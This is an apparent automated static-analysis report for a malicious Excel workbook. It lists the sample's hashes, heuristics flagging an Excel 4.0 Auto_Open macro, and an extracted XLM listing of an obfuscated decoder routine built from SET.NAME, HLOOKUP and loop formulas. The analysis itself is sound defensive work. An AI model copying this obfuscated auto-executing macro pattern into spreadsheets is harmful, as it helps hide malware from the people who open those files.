Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a1003b1d437038ea…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-27 11:40:39 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: c5904539261d5b46d95fce7d6f8f694a SHA-1: 53e8d71ac07142c06a3d03980b864111113e54a7 SHA-256: a1003b1d437038ead28b80bc245868044542120478396c50fd2d51d44e4efc73
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6578 bytes
SHA-256: 8a65e0f22cec4d572e69488141a29ecbcaf0c5cf2ec69c4fd201bb75104a63f7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
19 of 38 identifiers look randomly generated (e.g. 'uRwNgGlONJDp') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ZSH
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A141 
' 0018     27 LABEL : Cell Value, String Constant - bZitdTPolfVn len=0 
' 0018     23 LABEL : Cell Value, String Constant - EjfZcJoc len=0 
' 0018     21 LABEL : Cell Value, String Constant - IqMPwb len=0 
' 0018     21 LABEL : Cell Value, String Constant - JtoAjC len=0 
' 0018     23 LABEL : Cell Value, String Constant - JvlBKHDJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - kEdCviLl len=0 
' 0018     23 LABEL : Cell Value, String Constant - KoRLSpuI len=0 
' 0018     23 LABEL : Cell Value, String Constant - Kxmzbiku len=0 
' 0018     27 LABEL : Cell Value, String Constant - nCnkIfvHVyLz len=0 
' 0018     26 LABEL : Cell Value, String Constant - oIjmBIzrqBg len=0 
' 0018     26 LABEL : Cell Value, String Constant - tuUZtkOxBnU len=0 
' 0018     27 LABEL : Cell Value, String Constant - uRwNgGlONJDp len=0 
' 0018     27 LABEL : Cell Value, String Constant - VOPllbHKVlDX len=0 
' 0018     24 LABEL : Cell Value, String Constant - WbjOVRVyM len=0 
' 0018     22 LABEL : Cell Value, String Constant - yFOMpDQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - YQHxI len=0 
' 0018     27 LABEL : Cell Value, String Constant - yYSAUDxJiNxk len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZhGSCjwJSxra len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZNdcmBnRow len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZwEpsWw len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ZSH,S46,"",-904.00000000000000000000
'  ZSH,S47,"",972.00000000000000000000
'  ZSH,S48,"",-32.00000000000000000000
'  ZSH,S49,"",208.00000000000000000000
'  ZSH,S50,"",-955.00000000000000000000
'  ZSH,S51,"",-3.00000000000000000000
'  ZSH,A56,"SET.NAME("bZitdTPolfVn",0+VALUE("0"))",""
'  ZSH,A58,"SET.NAME("JvlBKHDJ",bZitdTPolfVn)",""
'  ZSH,A61,"SET.NAME("IqMPwb",bZitdTPolfVn)",""
'  ZSH,A63,"SET.NAME("ZNdcmBnRow",COUNTA(WbjOVRVyM))",""
'  ZSH,A67,"SET.NAME("nCnkIfvHVyLz",COUNTA(tuUZtkOxBnU))",""
'  ZSH,A69,[],""
'  ZSH,A74,"SET.NAME("YQHxI","")",""
'  ZSH,A79,"JvlBKHDJ",""
'  ZSH,A81,"SET.NAME("ZhGSCjwJSxra",HLOOKUP("*",WbjOVRVyM,JvlBKHDJ,FALSE))",""
'  ZSH,A84,"VOPllbHKVlDX",""
'  ZSH,A86,"SET.NAME("oIjmBIzrqBg",bZitdTPolfVn)",""
'  ZSH,A89,[],""
'  ZSH,A92,"oIjmBIzrqBg",""
'  ZSH,A94,"ZwEpsWw",""
'  ZSH,A97,"kEdCviLl",""
'  ZSH,A102,"JtoAjC",""
'  ZSH,A105,"SET.NAME("uRwNgGlONJDp",VALUE(HLOOKUP("*",tuUZtkOxBnU,JtoAjC,FALSE)))",""
'  ZSH,A109,"yYSAUDxJiNxk",""
'  ZSH,A111,"YQHxI",""
'  ZSH,A113,"IqMPwb",""
'  ZSH,A117,NEXT(),""
'  ZSH,A122,"KoRLSpuI",""
'  ZSH,A124,[],""
'  ZSH,A128,"Kxmzbiku",""
'  ZSH,A133,NEXT(),""
'  ZSH,A137,RETURN(),""
'  ZSH,A166,"SET.NAME("yFOMpDQ",A56)",""
'  ZSH,A170,"WbjOVRVyM",""
'  ZSH,A173,"SET.NAME("tuUZtkOxBnU",R84C12)",""
'  ZSH,A177,"SET.NAME("Kxmzbiku",185)",""
'  ZSH,A181,"SET.NAME("EjfZcJoc",1)",""
'  ZSH,A184,yFOMpDQ(),""
'  ZSH,A185,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.